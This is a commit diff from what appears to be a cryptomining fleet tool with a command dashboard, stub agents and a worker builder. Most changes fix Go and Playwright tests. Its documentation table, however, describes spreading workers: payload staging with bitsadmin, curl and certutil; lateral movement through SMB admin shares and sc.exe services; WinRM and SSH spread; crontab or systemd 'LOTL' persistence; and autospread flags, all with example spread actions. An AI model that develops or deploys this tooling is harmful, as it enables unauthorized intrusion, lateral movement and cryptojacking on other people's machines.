Fix flaky stats-batch tests and extend Crucible E2E LOTL coverage.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Stop the stats batch timer in unit tests before reading pending coalesced state, teach the Playwright stub agent to emit lotl_tier stats, and prefer server/webroot so phase-8 E2E serves the current frontend build.
This commit is contained in:
@@ -172,7 +172,14 @@ if (-not $SkipE2E) {
|
||||
$env:AETHERFORGE_E2E_USER = $E2EUser
|
||||
$env:AETHERFORGE_E2E_PASS = $E2EPass
|
||||
$WebRoot = Join-Path $Root "server\webroot"
|
||||
Copy-Item (Join-Path $Root "server\web\dist\*") $WebRoot -Recurse -Force -ErrorAction SilentlyContinue
|
||||
# Vite outDir is server/webroot; sync to legacy dist so findWebRoot fallbacks stay fresh.
|
||||
$DistDir = Join-Path $Root "server\web\dist"
|
||||
if (Test-Path $WebRoot) {
|
||||
New-Item -ItemType Directory -Force -Path $DistDir | Out-Null
|
||||
Copy-Item (Join-Path $WebRoot "*") $DistDir -Recurse -Force -ErrorAction SilentlyContinue
|
||||
} elseif (Test-Path (Join-Path $Root "server\web\dist")) {
|
||||
Copy-Item (Join-Path $Root "server\web\dist\*") $WebRoot -Recurse -Force -ErrorAction SilentlyContinue
|
||||
}
|
||||
$ServerExe = Join-Path $Root "bin\miner-server.exe"
|
||||
if (-not (Test-Path $ServerExe)) {
|
||||
Push-Location (Join-Path $Root "server")
|
||||
|
||||
@@ -683,6 +683,8 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
|
||||
if err := connB.WriteJSON(Message{Type: "mining_fallback", Payload: payloadB}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
stopStatsBatchTimer(hub)
|
||||
hub.flushStatsBatch()
|
||||
|
||||
select {
|
||||
case r := <-batchCh:
|
||||
@@ -721,6 +723,17 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// stopStatsBatchTimer cancels the 250ms flush timer so tests can read statsBatch
|
||||
// without racing flushStatsBatch clearing the pending map.
|
||||
func stopStatsBatchTimer(hub *WSHub) {
|
||||
hub.statsBatchMu.Lock()
|
||||
defer hub.statsBatchMu.Unlock()
|
||||
if hub.statsBatchTimer != nil {
|
||||
hub.statsBatchTimer.Stop()
|
||||
hub.statsBatchTimer = nil
|
||||
}
|
||||
}
|
||||
|
||||
func TestStatsBatchCoalescesSameAgent(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
hub.queueStatsBroadcast(map[string]interface{}{
|
||||
@@ -729,11 +742,13 @@ func TestStatsBatchCoalescesSameAgent(t *testing.T) {
|
||||
hub.queueStatsBroadcast(map[string]interface{}{
|
||||
"agent_id": "a1", "hashrate_15s": 99.0, "active_method": "inprocess",
|
||||
})
|
||||
stopStatsBatchTimer(hub)
|
||||
hub.flushStatsBatch()
|
||||
|
||||
// Merged coalesce — later keys overwrite, earlier keys preserved.
|
||||
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 10.0, "lotl_tier": "cpu_inprocess"})
|
||||
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "mining_hashrate": 850.0})
|
||||
stopStatsBatchTimer(hub)
|
||||
hub.statsBatchMu.Lock()
|
||||
if len(hub.statsBatch) != 1 {
|
||||
t.Fatalf("expected 1 agent in batch map, got %d", len(hub.statsBatch))
|
||||
@@ -755,6 +770,7 @@ func TestStatsBatchCoalescesSameAgent(t *testing.T) {
|
||||
|
||||
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 1.0})
|
||||
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 2.0})
|
||||
stopStatsBatchTimer(hub)
|
||||
hub.statsBatchMu.Lock()
|
||||
if len(hub.statsBatch) != 1 {
|
||||
t.Fatalf("expected 1 agent in batch map, got %d", len(hub.statsBatch))
|
||||
@@ -780,6 +796,7 @@ func TestStatsBatchCoalescesLotlAttempts(t *testing.T) {
|
||||
},
|
||||
})
|
||||
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a2", "mining_hashrate": 1200.0})
|
||||
stopStatsBatchTimer(hub)
|
||||
hub.statsBatchMu.Lock()
|
||||
var merged map[string]interface{}
|
||||
if err := json.Unmarshal(hub.statsBatch["a2"], &merged); err != nil {
|
||||
|
||||
@@ -303,7 +303,7 @@ func main() {
|
||||
return configProvider.PublicURL()
|
||||
}, cfg.Port, func() bool {
|
||||
return cfg.ConnectorToken() != ""
|
||||
})
|
||||
}, "v1.0.0")
|
||||
log.Println("Router initialized")
|
||||
|
||||
// Start server
|
||||
@@ -580,10 +580,11 @@ func findProjectRoot() string {
|
||||
// findWebRoot locates the frontend build output directory
|
||||
func findWebRoot() string {
|
||||
candidates := []string{
|
||||
"webroot", // Copied by devrun.bat
|
||||
"web/dist", // Vite build output relative to server/
|
||||
filepath.Join("..", "server", "web", "dist"), // Relative to project root
|
||||
filepath.Join("server", "web", "dist"), // From project root
|
||||
"webroot", // Vite outDir (server/webroot) and devrun.bat copy target
|
||||
filepath.Join("server", "webroot"),
|
||||
"web/dist", // Legacy dist output relative to server/
|
||||
filepath.Join("..", "server", "web", "dist"),
|
||||
filepath.Join("server", "web", "dist"),
|
||||
}
|
||||
|
||||
if cwd, err := os.Getwd(); err == nil {
|
||||
|
||||
@@ -3,6 +3,7 @@ import { fetchFleetSecret, loginToDashboard } from './fixtures';
|
||||
import {
|
||||
connectStubAgent,
|
||||
E2E_STUB_AGENT_HOSTNAME,
|
||||
E2E_STUB_LOTL_BADGE,
|
||||
E2E_WHOAMI_RESPONSE,
|
||||
} from './stub-agent';
|
||||
|
||||
@@ -23,8 +24,8 @@ test.describe('Crucible remote command', () => {
|
||||
|
||||
const fleetSecret = await fetchFleetSecret(request);
|
||||
disconnectStub = await connectStubAgent(baseURL, fleetSecret);
|
||||
// Allow agent_online + DB upsert to settle before UI tests.
|
||||
await new Promise((r) => setTimeout(r, 500));
|
||||
// Allow agent_online, stats_batch (250ms coalesce), and DB upsert to settle.
|
||||
await new Promise((r) => setTimeout(r, 1_500));
|
||||
});
|
||||
|
||||
test.afterAll(() => {
|
||||
@@ -50,10 +51,15 @@ test.describe('Crucible remote command', () => {
|
||||
await page.getByRole('button', { name: 'whoami' }).click();
|
||||
|
||||
const terminal = page.locator('.crucible-terminal');
|
||||
await expect(terminal.getByText('whoami')).toBeVisible({ timeout: 10_000 });
|
||||
await expect(terminal.getByText('whoami', { exact: true })).toBeVisible({ timeout: 10_000 });
|
||||
await expect(terminal.getByText(E2E_WHOAMI_RESPONSE)).toBeVisible({ timeout: 15_000 });
|
||||
});
|
||||
|
||||
test('shows LOTL tier badge when stub sends lotl_tier', async ({ page }) => {
|
||||
const card = page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME });
|
||||
await expect(card.getByText(E2E_STUB_LOTL_BADGE)).toBeVisible({ timeout: 15_000 });
|
||||
});
|
||||
|
||||
test('exec echo via master terminal shows output', async ({ page }) => {
|
||||
await page.getByText(E2E_STUB_AGENT_HOSTNAME).click();
|
||||
await page.getByRole('button', { name: 'CMD', exact: true }).click();
|
||||
|
||||
@@ -109,14 +109,21 @@ test.describe('Remote actions UI', () => {
|
||||
});
|
||||
|
||||
test('mining ops disabled when only offline agent selected', async ({ page }) => {
|
||||
await page.getByText('Offline Node').click();
|
||||
const pauseBtn = page.getByRole('button', { name: 'Pause', exact: true });
|
||||
await expect(pauseBtn).toBeDisabled();
|
||||
await expect(page.getByRole('button', { name: 'Resume', exact: true })).toBeDisabled();
|
||||
const card = page.locator('.crucible-node-card').filter({ hasText: 'Offline Node' });
|
||||
await card.click();
|
||||
await expect(card).toHaveClass(/selected/);
|
||||
const miningPause = page.locator('.cop-mining').getByRole('button', { name: 'Pause', exact: true });
|
||||
const miningResume = page.locator('.cop-mining').getByRole('button', { name: 'Resume', exact: true });
|
||||
await expect(miningPause).toBeDisabled();
|
||||
await expect(miningResume).toBeDisabled();
|
||||
});
|
||||
|
||||
test('bulk pause disabled when offline agent selected via toolbar', async ({ page }) => {
|
||||
await page.getByText('Offline Node').click();
|
||||
await expect(page.getByRole('button', { name: 'Pause' }).first()).toBeDisabled();
|
||||
const card = page.locator('.crucible-node-card').filter({ hasText: 'Offline Node' });
|
||||
await card.click();
|
||||
await expect(card).toHaveClass(/selected/);
|
||||
await expect(page.locator('.fleet-bulk-bar')).toContainText('1 selected');
|
||||
const bulkPause = page.locator('.fleet-bulk-bar').getByRole('button', { name: 'Pause', exact: true });
|
||||
await expect(bulkPause).toBeDisabled();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -6,6 +6,11 @@
|
||||
export const E2E_STUB_AGENT_ID = 'e2e-crucible-agent';
|
||||
export const E2E_STUB_AGENT_HOSTNAME = 'E2E-Crucible-Host';
|
||||
export const E2E_WHOAMI_RESPONSE = 'e2e-whoami-ok';
|
||||
/** Active LOTL tier sent in stub stats — maps to "LOTL In-Process" in Crucible. */
|
||||
export const E2E_STUB_LOTL_TIER = 'inprocess';
|
||||
export const E2E_STUB_LOTL_BADGE = 'LOTL In-Process';
|
||||
|
||||
const E2E_STUB_STATS_INTERVAL_MS = 1_000;
|
||||
|
||||
type HubMessage = {
|
||||
type: string;
|
||||
@@ -28,6 +33,26 @@ function send(ws: WebSocket, type: string, payload: Record<string, unknown>): vo
|
||||
ws.send(JSON.stringify({ type, payload }));
|
||||
}
|
||||
|
||||
function sendStubStats(ws: WebSocket): void {
|
||||
send(ws, 'stats', {
|
||||
hashrate_15s: 42,
|
||||
hashrate_1m: 42,
|
||||
hashrate_15m: 42,
|
||||
shares_submitted: 0,
|
||||
shares_accepted: 0,
|
||||
cpu_usage_pct: 5,
|
||||
memory_usage_pct: 40,
|
||||
uptime_seconds: 120,
|
||||
active_method: 'inprocess',
|
||||
mining_hashrate: 42,
|
||||
lotl_tier: E2E_STUB_LOTL_TIER,
|
||||
lotl_attempts: [
|
||||
{ tier: 'container', ok: false, error: 'e2e-no-docker', duration_ms: 100 },
|
||||
{ tier: 'inprocess', ok: true, duration_ms: 200 },
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
function replyCommand(ws: WebSocket, action: string, command: string): void {
|
||||
let message = 'e2e-stub-ok';
|
||||
if (action === 'resume') {
|
||||
@@ -88,6 +113,9 @@ export async function connectStubAgent(
|
||||
}, { once: true });
|
||||
});
|
||||
|
||||
sendStubStats(ws);
|
||||
const statsTimer = setInterval(() => sendStubStats(ws), E2E_STUB_STATS_INTERVAL_MS);
|
||||
|
||||
ws.addEventListener('message', (ev) => {
|
||||
let msg: HubMessage;
|
||||
try {
|
||||
@@ -103,6 +131,7 @@ export async function connectStubAgent(
|
||||
});
|
||||
|
||||
return () => {
|
||||
clearInterval(statsTimer);
|
||||
ws.close();
|
||||
};
|
||||
}
|
||||
|
||||
@@ -147,7 +147,7 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
||||
// Linux LOTL persistence — Linux/universal workers only
|
||||
if (isWindowsOnlyTarget(next.target_os)) {
|
||||
next.linux_lotl_mode = 'off';
|
||||
} else if (!next.linux_lotl_mode || next.linux_lotl_mode === '') {
|
||||
} else if (!next.linux_lotl_mode) {
|
||||
next.linux_lotl_mode = 'off';
|
||||
}
|
||||
|
||||
|
||||
@@ -73,7 +73,7 @@ flowchart TB
|
||||
dj[discover_and_join]
|
||||
d1[docker / docker_load]
|
||||
d2[wsl / powershell / dotnet]
|
||||
d3[bits_curl / smb / winrm]
|
||||
d3[bits_curl / do_peer / smb / winrm]
|
||||
d4[linux / gpo / intune]
|
||||
dj --> d1 --> d2 --> d3 --> d4
|
||||
end
|
||||
@@ -145,6 +145,7 @@ Every term below has a plain-language definition and a copy-pasteable example (C
|
||||
| Term | Definition | Example |
|
||||
|------|------------|---------|
|
||||
| `bits_curl` | Stage payload with BITS (`bitsadmin`) or `curl.exe`; optional `certutil -decode` + SHA256 verify. | `stage_fetch` manifest `{"method":"bits",…}` or CCMEXEC service → `bits_curl` join lane. |
|
||||
| `do_peer` | Shadow Cache Handoff — DoSvc + BITS peer-style chunk staging on LAN; hash-verified assembly, rundll32/BITS launch. | `DoSvc` running → `join_lane_candidate: do_peer`; signed deploy plan with `peer_group`, `--defer-mining`. |
|
||||
| `smb` / `spread_smb_unc` | Lateral via SMB admin share + SCM (`sc.exe create/start`) pointing at a UNC worker path — no PsExec. | `{"action":"spread_smb_unc","path":"\\\\forge\\\\pathforge$\\\\worker.exe"}` |
|
||||
| `winrm` | PS remoting lateral when ports 5985/5986 respond. | `POST /api/v1/builder/spread-template-export` `{"template":"winrm"}`; autospread when `winrm_spread` forge flag set. |
|
||||
| `linux` / `linux_lotl` | SSH/SCP lateral on Unix with optional systemd-run or crontab LOTL persistence. | `{"template":"linux-lotl","lotl_mode":"both"}`; `sshd` service → `linux_lotl` join lane. |
|
||||
|
||||
Reference in New Issue
Block a user